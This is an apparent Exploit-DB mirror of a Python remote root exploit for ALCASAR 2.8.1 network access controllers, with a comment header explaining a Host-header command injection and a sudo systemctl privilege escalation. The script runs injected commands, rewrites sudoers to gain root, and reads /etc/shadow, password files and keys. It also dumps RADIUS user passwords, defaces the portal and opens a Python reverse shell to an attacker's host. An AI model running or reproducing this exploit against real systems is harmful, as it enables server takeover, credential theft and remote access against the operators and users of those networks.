ALCASAR 2.8.1 – Remote Code Execution

  • 作者: eF
    日期: 2014-09-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34666/
  • #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    #
    ####
    #
    #ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability
    #
    #Author: eF
    #Date: 2014-09-12
    #URL : http://www.alcasar.net/
    #
    #This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck.
    #
    #db 88 ,ad8888ba, db ad88888ba db 88888888ba
    # d88b88d8"'`"8b d88b d8" "8b d88b88"8b
    #d8'`8b 88 d8'd8'`8bY8,d8'`8b 88,8P
    # d8'`8b88 88d8'`8b `Y8aaaaa, d8'`8b88aaaaaa8P'
    #d8YaaaaY8b 88 88 d8YaaaaY8b`"""""8b,d8YaaaaY8b 88""""88'
    # d8""""""""8b88 Y8, d8""""""""8b `8b d8""""""""8b88`8b
    #d8'`8b 88Y8a..a8Pd8'`8bY8a a8Pd8'`8b 88 `8b
    # d8'`8b88888888888`"Y8888Y"'d8'`8b"Y88888P"d8'`8b88`8b
    #
    #
    # ALCASAR is a free Network Access Controller which controls the Internet consultation networks. 
    # It authenticates, attributes and protects users' access regardless their connected equipment 
    # (PC, smartphone, game console, etc.).
    #
    # I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root).
    # As a reminder, it was a trivial code execution via a unfiltered exec() call:
    #
    # $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
    # exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
    #
    # A few days later, a new version corrects the vulnerability. Or maybe not...
    #
    # At first, this is how ALCASAR's developers present the previous vulnerability:
    # 
    # " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user "
    # " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security"
    # " patches. A script that you could run on the active servers will be available on this forum ASAP. At that"
    # " time, the download version of ALCASAR will be incremented (V2.8.1) "
    #
    # ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server:
    # Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords,
    # bypass firewall rules, act as another user, etc.
    # This is not just a matter of "retrieving a lot of data from the server".
    #
    # Not to alert users of real criticality of a vulnerability is a very serious lack of security.
    # Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another
    # one.
    #
    # Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input:
    #
    # $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern;
    #
    # WTF?!
    # First, I think that the application no longer works. By default, filter_var() is going to accept an URL
    # only if its scheme is valid:
    #
    # $ php -r 'var_dump(filter_var("www.google.com", FILTER_VALIDATE_URL));'
    # bool(false)
    # $ php -r 'var_dump(filter_var("http://www.google.com", FILTER_VALIDATE_URL));'
    # string(21) "http://www.google.com"
    #
    # But... we cannot put http:// in the HTTP host field, the HTTP server won't let us...
    # Dev, did you try your patch?
    # Instead, to execute code, it's quite easy to bypass this filtering using "mailto:email@valid.tld;cmd;"
    # Service down, vulnerability still present: double fail.
    #
    # The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights
    # as root.
    #
    # The patch therefore removes openssl in the sudoers file (without changing the legitimate
    # calls in the PHP code...). So let's use another method: systemctl is still callable via sudo...
    #
    # We can create a service with our command and start it as root:
    #
    # sudo systemctl link /tmp/pwn3d.service
    # sudo systemctl start pwn3d.service
    #
    # Conclusion: triple fail.
    #
    # Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a 
    # little training on secure PHP development?
    #
    # On ALCASAR website:
    #
    # "The security of the portal has been worked out like a bastion in order to resist to different
    # kinds of threat"
    #
    # LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat".
    #
    # ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation,
    # the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to 
    # generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013),
    # etc.
    #
    # Development is not really open either: there is no bugtracker, no trac, no way to see what has been 
    # patched, etc. If the elementary rules of open source development had been met, a user could have 
    # prevented this 2.8.1 patch from being crap.
    #
    #
    ####
    
    import sys, os, re, httplib
    
    class PWN_Alcasar:
    
    def __init__(self, host):
    self.host = host
    self.root = False
    
    def exec_cmd(self, cmd, output=False):
    tag = os.urandom(4).encode('hex')
    
    cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
    if self.root:
    cmd = 'sudo %s' % cmd
    
    wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n',''))
    wrapper = wrapper.replace(' ', '${IFS}')
    headers = {
    'host' : 'mailto:eF@cosmic.nato;%s;#' % wrapper
    }
    
    c = httplib.HTTPConnection(self.host)
    c.request('GET', '/index.php', '', headers)
    r = c.getresponse()
    data = r.read()
    c.close()
    
    m = re.search(r'%s, (.*)\s</div>' % tag, data)
    if m:
    data = m.group(1).decode('base64')
    if output:
    print data
    return data
    return None
    
    def read_file(self, filepath, output=True):
    return self.exec_cmd('cat "%s"' % filepath, output=output)
    
    def read_passwords(self):
    self.read_file('/root/ALCASAR-passwords.txt')
    self.read_file('/etc/shadow')
    self.read_file('/usr/local/etc/digest/key_all')
    self.read_file('/usr/local/etc/digest/key_admin')
    self.read_file('/usr/local/etc/digest/key_backup')
    self.read_file('/usr/local/etc/digest/key_manager')
    self.read_file('/usr/local/etc/digest/key_only_admin')
    self.read_file('/usr/local/etc/digest/key_only_backup')
    self.read_file('/usr/local/etc/digest/key_only_manager')
    alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
    if alcasar_mysql:
    m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
    if m:
    radiuspwd = m.group(1)
    sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
    self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
    
    def edit_sudoers(self):
    service ='[Unit]\n'
    service += 'Description=Just another ALCASAR lolcalr00t\n\n'
    service += '[Service]\n'
    service += 'Type=forking\n'
    service += 'KillMode=process\n'
    service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n'
    self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', ''))
    self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service')
    self.exec_cmd('sudo systemctl start Pwn3d.service')
    if exploit.exec_cmd('sudo id').find('uid=0') != -1:
    self.root = True
    
    def reverse_shell(self, rip, rport='80'):
    payload = 'import socket,subprocess,os;'
    payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
    payload += 's.connect((\'%s\',%s));' % (rip, rport)
    payload += 'os.dup2(s.fileno(),0);'
    payload += 'os.dup2(s.fileno(),1);'
    payload += 'os.dup2(s.fileno(),2);'
    payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
    return self.exec_cmd('python -c "%s"' % payload)
    
    def lolz(self):
    old = 'http://www.wikipedia.org'
    new = 'https://www.youtube.com/watch\?v=Q-J0f1yF75Y'
    self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True)
    
    def usage():
    print 'Usage: %s host command (ip) (port)' % sys.argv[0]
    print ' "command" can be a shell command or "reverseshell"'
    sys.exit(0)
     
    if __name__ == '__main__':
    
    print '#' * 80
    print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability'
    print '# Author: eF'
    print '#' * 80
    
    if len(sys.argv) < 3:
    usage()
     
    cmd = sys.argv[2]
    if cmd == 'reverseshell':
    if len(sys.argv) < 5:
    print '[!] Need IP and port for the reverse shell...'
    sys.exit(0)
    rip = sys.argv[3]
    rport = sys.argv[4]
    
    exploit = PWN_Alcasar(sys.argv[1])
    print '[-] whoami (should be apache):'
    exploit.exec_cmd('id', output=True)
    print '[+] On the way to the uid 0...'
    exploit.edit_sudoers()
    print '[-] Got root?'
    exploit.exec_cmd('id', output=True)
    exploit.lolz()
    if exploit.root:
    print '[+] Here are some passwords for you (again):'
    exploit.read_passwords()
    if cmd == 'reverseshell':
    print '[+] You should now have a shell on %s:%s' % (rip, rport)
    exploit.reverse_shell(rip, rport)
    else:
    print '[+] Your command Sir:'
    exploit.exec_cmd(cmd, output=True)
    sys.exit(1)